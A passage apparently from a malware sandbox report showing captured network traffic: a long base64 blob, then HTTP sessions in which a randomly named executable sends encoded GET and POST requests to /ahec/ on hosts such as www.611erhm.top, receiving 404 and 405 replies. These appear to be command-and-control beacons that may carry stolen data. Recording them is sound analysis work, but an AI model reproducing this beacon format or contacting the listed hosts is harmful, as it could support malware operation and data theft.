XPsni6WcUXtxKW4G7vjqY5JHHLfWfn7+uG335NqOaGsdAkLfxqrxjNb6j8BhuoXEbjqnRn/Y06H9bIm3MeUx1N2DrJTxIxBKk00XPkTv1m+X9aLuRiK1f8aGu/YN/71ZdMNlvX+u1Da7iftB8007ZcRXyJpEHAMhpcYIIc85ecvP2a3DZT967QEACnJORRCxRnUHeb536j9IZHf3HLagVXVGPF5a43m5YcCHPlrB8L5j5UZBB/UKSnWGzTlUUNGwkDAwSTD/dIiKbFULYKP6O/DW5MhEFLqTelUhd0OAC+N4BRbf5+e7wERl0+8yisgU0UndmEvaG6skGW3G8aN8eVxLJ6BSlcBdyWpX5+LRSj3lYp6utnBIqehJkPnlDuBavTpMY3SOAlizwZzc0SjD/0cGs2r5JYIdb5bV5MncFhieaaIxnJ5KLvv+XnB8idkdYfduYnsCPI5C10odeghDbetEu1I0eEvhLgZFnpuarfdznDK20kEOmmBYHs0mwgKR98Y3BY5gRzFb0e269Z96VbNIAvc49XMzGsyj/zv6lOfBrPr1hG+HTCkKLTKA54UcpjBgJqkIwL7CikP7Zp5IMiM+KCyO/rTOZ3B8Gova/h3OO2sYoUCaFG3+qGBCj3b/413dpDXW/MZ4Yk7k34ZHqUH/npKg4u5MRgdQLXuybR8FTvIc5rW0i4LgNrNAFXP92b0rjmjfCiR7ss+ouOIn1EHk7zYfiqEq9KBTgUXRC3zNu1K7nZ7U6GBWwuU8xXFO3eMAonb+rTUwWvVBw2SZdguk0H/qxXmC7JWYKf2i4h4gLArP0XdMFUgzEnHDc18V6S1tWTeuQZGktzgkoTDkjfJvTB+5oVmgTOE6b1gVqykxUknvEYof+3G+8WRX8Y1T33blkSYGVfpwWHNLHbQmGFMCh8yxhjixPGtpuxZ0xtIHZCppx8Fr15mdc2BE0XXtsjpkXU/jtu8GIV8MEth8E2Cvyaa0g+DYlhmBY3S4yI/kppaFl5qFyTLUgH7/FNWIvf5dw2+0OnfU4wSUz+7iUkQMSXfqIrS5opJyPrlZ5zEz8SrklGYOVALEqI56Q6MtMpcI+u4oP8Dlmi4r/XfYIKcjfkPDrlALcoCmzRPxPpy09ykusSQdlTWXJr6bocu0qg8p8NIXo4PEAbzf/UWnUL5UB/qDj6pqsCb0kgq12ge7k1hSM6tQ6ZWR0F+cOjdP1etEz5PvNgh1KgQctLDEwGVkH1sjcL+cxdlC4tjrXtUKIORCSaLUBErZAlg5OGoNzNRQLa93hlcFrf7yPZUBT4gEkzTpTeb4wkjcc+AHzXfG0VJgYDT20lVGE/ViVRpve09IyMCdElWfk1K+L4RH2spw/pD54Jws0huNMywu2XCUIcbyBYyA+QIRkH7N46ciosZd4aRMUbvXRpnzqi5MaFJ9T+sTsWC3rrRQ7lFGHb4+uP3lWYleGLBHtXXPW9ZkWhHQbbeggvvjn
Dec 8, 2023 14:51:53.648900986 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:53 GMT Server: Apache Content-Length: 5278 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37 2e 34 36 20 30 2d 31 34 2e 37 33 2d 2e 39 34 2d 32 31 2e 38 31 2d 32 2e 38 33 2d 37 2e 30 38 2d 31 2e 38 39 2d 31 33 2e 37 36 2d 34 2e 36 2d 32 30 2e 30 34 2d 38 2e 31 34 61 38 38 2e 32 39 32 20 38 38 2e 32 39 32 20 30 20 30 20 31 2d 31 37 2e 33 35 2d 31 32 2e 38 31 63 2d 35 2e 32 39 2d 35 2d 39 2e 38 34 2d 31 30 2e 36 37 2d 31 33 2e 36 36 2d 31 36 2e 39 39 2d 33 2e 38 32 2d 36 2e 33 32 2d 36 2e 38 2d 31 33 2e 31 39 2d 38 2e 39 32 2d 32 30 2e 36 2d 32 2e 31 32 2d 37 2e 34 31 2d 33 2e 31 39 2d 31 35 2e 32 37 2d 33 2e 31 39 2d 32 33 2e 35 38 76 2d 33 33 2e 31 33 63 30 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Montserrat:200,400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div></div><svg id="svgWrap_2" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 700 250"> <g> <path id="id3_2" d="M195.7 232.67h-37.1V149.7H27.76c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98H158.6V29.62h37.1v203.05z"/> <path id="id2_2" d="M470.69 147.71c0 8.31-1.06 16.17-3.19 23.58-2.12 7.41-5.12 14.28-8.99 20.6-3.87 6.33-8.45 11.99-13.74 16.99-5.29 5-11.07 9.28-17.35 12.81a85.146 85.146 0 0 1-20.04 8.14 83.637 83.637 0 0 1-21.67 2.83H319.3c-7.46 0-14.73-.94-21.81-2.83-7.08-1.89-13.76-4.6-20.04-8.14a88.292 88.292 0 0 1-17.35-12.81c-5.29-5-9.84-10.67-13.66-16.99-3.82-6.32-6.8-13.19-8.92-20.6-2.12-7.41-3.19-15.27-3.19-23.58v-33.13c0-
Dec 8, 2023 14:51:53.648968935 CET	1286	IN	Data Raw: 31 32 2e 34 36 20 32 2e 33 34 2d 32 33 2e 38 38 20 37 2e 30 31 2d 33 34 2e 32 37 20 34 2e 36 37 2d 31 30 2e 33 38 20 31 30 2e 39 32 2d 31 39 2e 33 33 20 31 38 2e 37 36 2d 32 36 2e 38 33 20 37 2e 38 33 2d 37 2e 35 20 31 36 2e 38 37 2d 31 33 2e 33 Data Ascii: 12.46 2.34-23.88 7.01-34.27 4.67-10.38 10.92-19.33 18.76-26.83 7.83-7.5 16.87-13.36 27.12-17.56 10.24-4.2 20.93-6.3 32.07-6.3h66.41c7.36 0 14.58.94 21.67 2.83 7.08 1.89 13.76 4.6 20.04 8.14a88.292 88.292 0 0 1 17.35 12.81c5.29 5 9.86 10.67 13.
Dec 8, 2023 14:51:53.649008036 CET	1286	IN	Data Raw: 35 20 33 2e 30 32 20 35 2e 31 37 20 35 2e 30 39 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 31 5f 32 22 20 64 3d 22 4d 36 38 38 2e 33 33 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 35 32 30 2e 33 39 63 2d 32 2e Data Ascii: 5 3.02 5.17 5.09z"/> <path id="id1_2" d="M688.33 232.67h-37.1V149.7H520.39c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98h112.57V29.62h37.1v203.05z"/> </g></svg
Dec 8, 2023 14:51:53.649044991 CET	1286	IN	Data Raw: 33 2e 35 38 76 33 33 2e 31 34 7a 6d 2d 33 37 2e 31 2d 33 33 2e 31 33 63 30 2d 37 2e 32 37 2d 31 2e 33 32 2d 31 33 2e 38 38 2d 33 2e 39 36 2d 31 39 2e 38 32 2d 32 2e 36 34 2d 35 2e 39 35 2d 36 2e 31 36 2d 31 31 2e 30 34 2d 31 30 2e 35 35 2d 31 35 Data Ascii: 3.58v33.14zm-37.1-33.13c0-7.27-1.32-13.88-3.96-19.82-2.64-5.95-6.16-11.04-10.55-15.29-4.39-4.25-9.46-7.5-15.22-9.77-5.76-2.27-11.8-3.35-18.13-3.26h-66.41c-6.14-.09-12.11.97-17.91 3.19-5.81 2.22-10.95 5.43-15.44 9.63-4.48 4.2-8.07 9.3-10.76 15.
Dec 8, 2023 14:51:53.649080992 CET	279	IN	Data Raw: 73 3d 22 62 6c 75 72 22 20 72 65 73 75 6c 74 3d 22 63 6f 6c 6f 72 65 64 42 6c 75 72 22 20 73 74 64 64 65 76 69 61 74 69 6f 6e 3d 22 34 22 3e 3c 2f 66 65 67 61 75 73 73 69 61 6e 62 6c 75 72 3e 0a 20 20 20 20 20 20 3c 66 65 6d 65 72 67 65 3e 0a 20 Data Ascii: s="blur" result="coloredBlur" stddeviation="4"></fegaussianblur> <femerge> <femergenode in="coloredBlur"></femergenode> <femergenode in="SourceGraphic"></femergenode> </femerge> </filter> </defs></svg><h2>P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	66.29.155.54	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:57.012130022 CET	469	OUT	GET /ahec/?XveXHZvx=DTrGbTEHMG6Y4mK16jmiKUG3Xw8oKDF5CR5S23I4xf5AWU1NMecScwq/Pr/mUgt4GFrPBjE4MJyXMuu59XRrX+Dyau3GNz4OAA==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.nesmalt.info Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:51:57.301047087 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:57 GMT Server: Apache Content-Length: 5278 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37 2e 34 36 20 30 2d 31 34 2e 37 33 2d 2e 39 34 2d 32 31 2e 38 31 2d 32 2e 38 33 2d 37 2e 30 38 2d 31 2e 38 39 2d 31 33 2e 37 36 2d 34 2e 36 2d 32 30 2e 30 34 2d 38 2e 31 34 61 38 38 2e 32 39 32 20 38 38 2e 32 39 32 20 30 20 30 20 31 2d 31 37 2e 33 35 2d 31 32 2e 38 31 63 2d 35 2e 32 39 2d 35 2d 39 2e 38 34 2d 31 30 2e 36 37 2d 31 33 2e 36 36 2d 31 36 2e 39 39 2d 33 2e 38 32 2d 36 2e 33 32 2d 36 2e 38 2d 31 33 2e 31 39 2d 38 2e 39 32 2d 32 30 2e 36 2d 32 2e 31 32 2d 37 2e 34 31 2d 33 2e 31 39 2d 31 35 2e 32 37 2d 33 2e 31 39 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Montserrat:200,400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div></div><svg id="svgWrap_2" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 700 250"> <g> <path id="id3_2" d="M195.7 232.67h-37.1V149.7H27.76c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98H158.6V29.62h37.1v203.05z"/> <path id="id2_2" d="M470.69 147.71c0 8.31-1.06 16.17-3.19 23.58-2.12 7.41-5.12 14.28-8.99 20.6-3.87 6.33-8.45 11.99-13.74 16.99-5.29 5-11.07 9.28-17.35 12.81a85.146 85.146 0 0 1-20.04 8.14 83.637 83.637 0 0 1-21.67 2.83H319.3c-7.46 0-14.73-.94-21.81-2.83-7.08-1.89-13.76-4.6-20.04-8.14a88.292 88.292 0 0 1-17.35-12.81c-5.29-5-9.84-10.67-13.66-16.99-3.82-6.32-6.8-13.19-8.92-20.6-2.12-7.41-3.19-15.27-3.19-
Dec 8, 2023 14:51:57.301076889 CET	1286	IN	Data Raw: 32 33 2e 35 38 76 2d 33 33 2e 31 33 63 30 2d 31 32 2e 34 36 20 32 2e 33 34 2d 32 33 2e 38 38 20 37 2e 30 31 2d 33 34 2e 32 37 20 34 2e 36 37 2d 31 30 2e 33 38 20 31 30 2e 39 32 2d 31 39 2e 33 33 20 31 38 2e 37 36 2d 32 36 2e 38 33 20 37 2e 38 33 Data Ascii: 23.58v-33.13c0-12.46 2.34-23.88 7.01-34.27 4.67-10.38 10.92-19.33 18.76-26.83 7.83-7.5 16.87-13.36 27.12-17.56 10.24-4.2 20.93-6.3 32.07-6.3h66.41c7.36 0 14.58.94 21.67 2.83 7.08 1.89 13.76 4.6 20.04 8.14a88.292 88.292 0 0 1 17.35 12.81c5.29 5
Dec 8, 2023 14:51:57.301099062 CET	1286	IN	Data Raw: 39 20 32 2e 30 33 20 31 2e 33 32 20 33 2e 37 35 20 33 2e 30 32 20 35 2e 31 37 20 35 2e 30 39 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 31 5f 32 22 20 64 3d 22 4d 36 38 38 2e 33 33 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 Data Ascii: 9 2.03 1.32 3.75 3.02 5.17 5.09z"/> <path id="id1_2" d="M688.33 232.67h-37.1V149.7H520.39c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98h112.57V29.62h37.1v203.05z"
Dec 8, 2023 14:51:57.301146030 CET	1286	IN	Data Raw: 31 39 20 31 35 2e 32 37 20 33 2e 31 39 20 32 33 2e 35 38 76 33 33 2e 31 34 7a 6d 2d 33 37 2e 31 2d 33 33 2e 31 33 63 30 2d 37 2e 32 37 2d 31 2e 33 32 2d 31 33 2e 38 38 2d 33 2e 39 36 2d 31 39 2e 38 32 2d 32 2e 36 34 2d 35 2e 39 35 2d 36 2e 31 36 Data Ascii: 19 15.27 3.19 23.58v33.14zm-37.1-33.13c0-7.27-1.32-13.88-3.96-19.82-2.64-5.95-6.16-11.04-10.55-15.29-4.39-4.25-9.46-7.5-15.22-9.77-5.76-2.27-11.8-3.35-18.13-3.26h-66.41c-6.14-.09-12.11.97-17.91 3.19-5.81 2.22-10.95 5.43-15.44 9.63-4.48 4.2-8.0
Dec 8, 2023 14:51:57.301158905 CET	294	IN	Data Raw: 75 73 73 69 61 6e 62 6c 75 72 20 63 6c 61 73 73 3d 22 62 6c 75 72 22 20 72 65 73 75 6c 74 3d 22 63 6f 6c 6f 72 65 64 42 6c 75 72 22 20 73 74 64 64 65 76 69 61 74 69 6f 6e 3d 22 34 22 3e 3c 2f 66 65 67 61 75 73 73 69 61 6e 62 6c 75 72 3e 0a 20 20 Data Ascii: ussianblur class="blur" result="coloredBlur" stddeviation="4"></fegaussianblur> <femerge> <femergenode in="coloredBlur"></femergenode> <femergenode in="SourceGraphic"></femergenode> </femerge> </filter> </defs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	34.117.26.57	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:03.659353971 CET	735	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.611erhm.top Origin: http://www.611erhm.top Referer: http://www.611erhm.top/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 5a 61 38 52 52 54 6d 44 7a 45 41 5a 64 2b 4c 42 72 36 52 57 6c 73 7a 65 42 6e 62 35 71 67 76 38 33 4b 77 36 79 31 46 6b 78 34 56 6c 78 59 39 36 70 64 34 6a 45 72 49 4f 69 6e 54 6c 63 33 62 58 75 53 61 6e 42 48 6a 6a 45 58 2f 4a 35 43 4c 6a 32 73 75 59 4c 71 2f 30 42 75 66 30 57 76 47 35 4b 6c 57 49 63 56 33 6b 76 46 4e 59 32 72 50 39 4d 4f 2b 75 30 4d 46 69 58 68 4d 77 41 69 69 43 4f 77 61 51 6d 57 78 72 39 5a 69 39 35 68 66 35 7a 36 57 78 68 70 6e 44 33 6b 52 6c 31 4e 64 55 68 6b 58 4e 75 69 42 64 53 62 45 44 7a 32 7a 4c 4b 77 3d 3d Data Ascii: XveXHZvx=Za8RRTmDzEAZd+LBr6RWlszeBnb5qgv83Kw6y1Fkx4VlxY96pd4jErIOinTlc3bXuSanBHjjEX/J5CLj2suYLq/0Buf0WvG5KlWIcV3kvFNY2rP9MO+u0MFiXhMwAiiCOwaQmWxr9Zi95hf5z6WxhpnD3kRl1NdUhkXNuiBdSbEDz2zLKw==
Dec 8, 2023 14:52:03.983591080 CET	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:52:03 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Dec 8, 2023 14:52:03.986537933 CET	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	34.117.26.57	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:06.312115908 CET	755	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.611erhm.top Origin: http://www.611erhm.top Referer: http://www.611erhm.top/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 5a 61 38 52 52 54 6d 44 7a 45 41 5a 64 65 62 42 73 5a 70 57 6a 4d 7a 66 45 6e 62 35 6b 77 76 34 33 4b 38 36 79 30 42 30 78 4b 42 6c 77 34 4e 36 6f 5a 55 6a 48 72 49 4f 6f 48 53 68 45 58 61 62 75 53 65 5a 42 48 76 6a 45 58 72 4a 35 48 33 6a 32 2f 57 62 4c 36 2f 32 64 75 66 79 59 50 47 35 4b 6c 57 49 63 56 6a 4b 76 45 70 59 31 59 48 39 4f 76 2f 34 35 73 46 68 48 52 4d 77 57 53 69 47 4f 77 62 67 6d 56 30 4f 39 62 61 39 35 67 76 35 69 50 71 32 71 70 6e 46 37 30 51 54 30 4e 73 59 69 58 65 66 69 79 4e 53 63 4c 31 72 79 6a 66 59 4e 42 33 49 59 66 31 53 64 6c 55 7a 37 62 62 30 31 54 4c 6e 68 63 49 3d Data Ascii: XveXHZvx=Za8RRTmDzEAZdebBsZpWjMzfEnb5kwv43K86y0B0xKBlw4N6oZUjHrIOoHShEXabuSeZBHvjEXrJ5H3j2/WbL6/2dufyYPG5KlWIcVjKvEpY1YH9Ov/45sFhHRMwWSiGOwbgmV0O9ba95gv5iPq2qpnF70QT0NsYiXefiyNScL1ryjfYNB3IYf1SdlUz7bb01TLnhcI=
Dec 8, 2023 14:52:06.637350082 CET	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:52:06 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Dec 8, 2023 14:52:06.637448072 CET	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
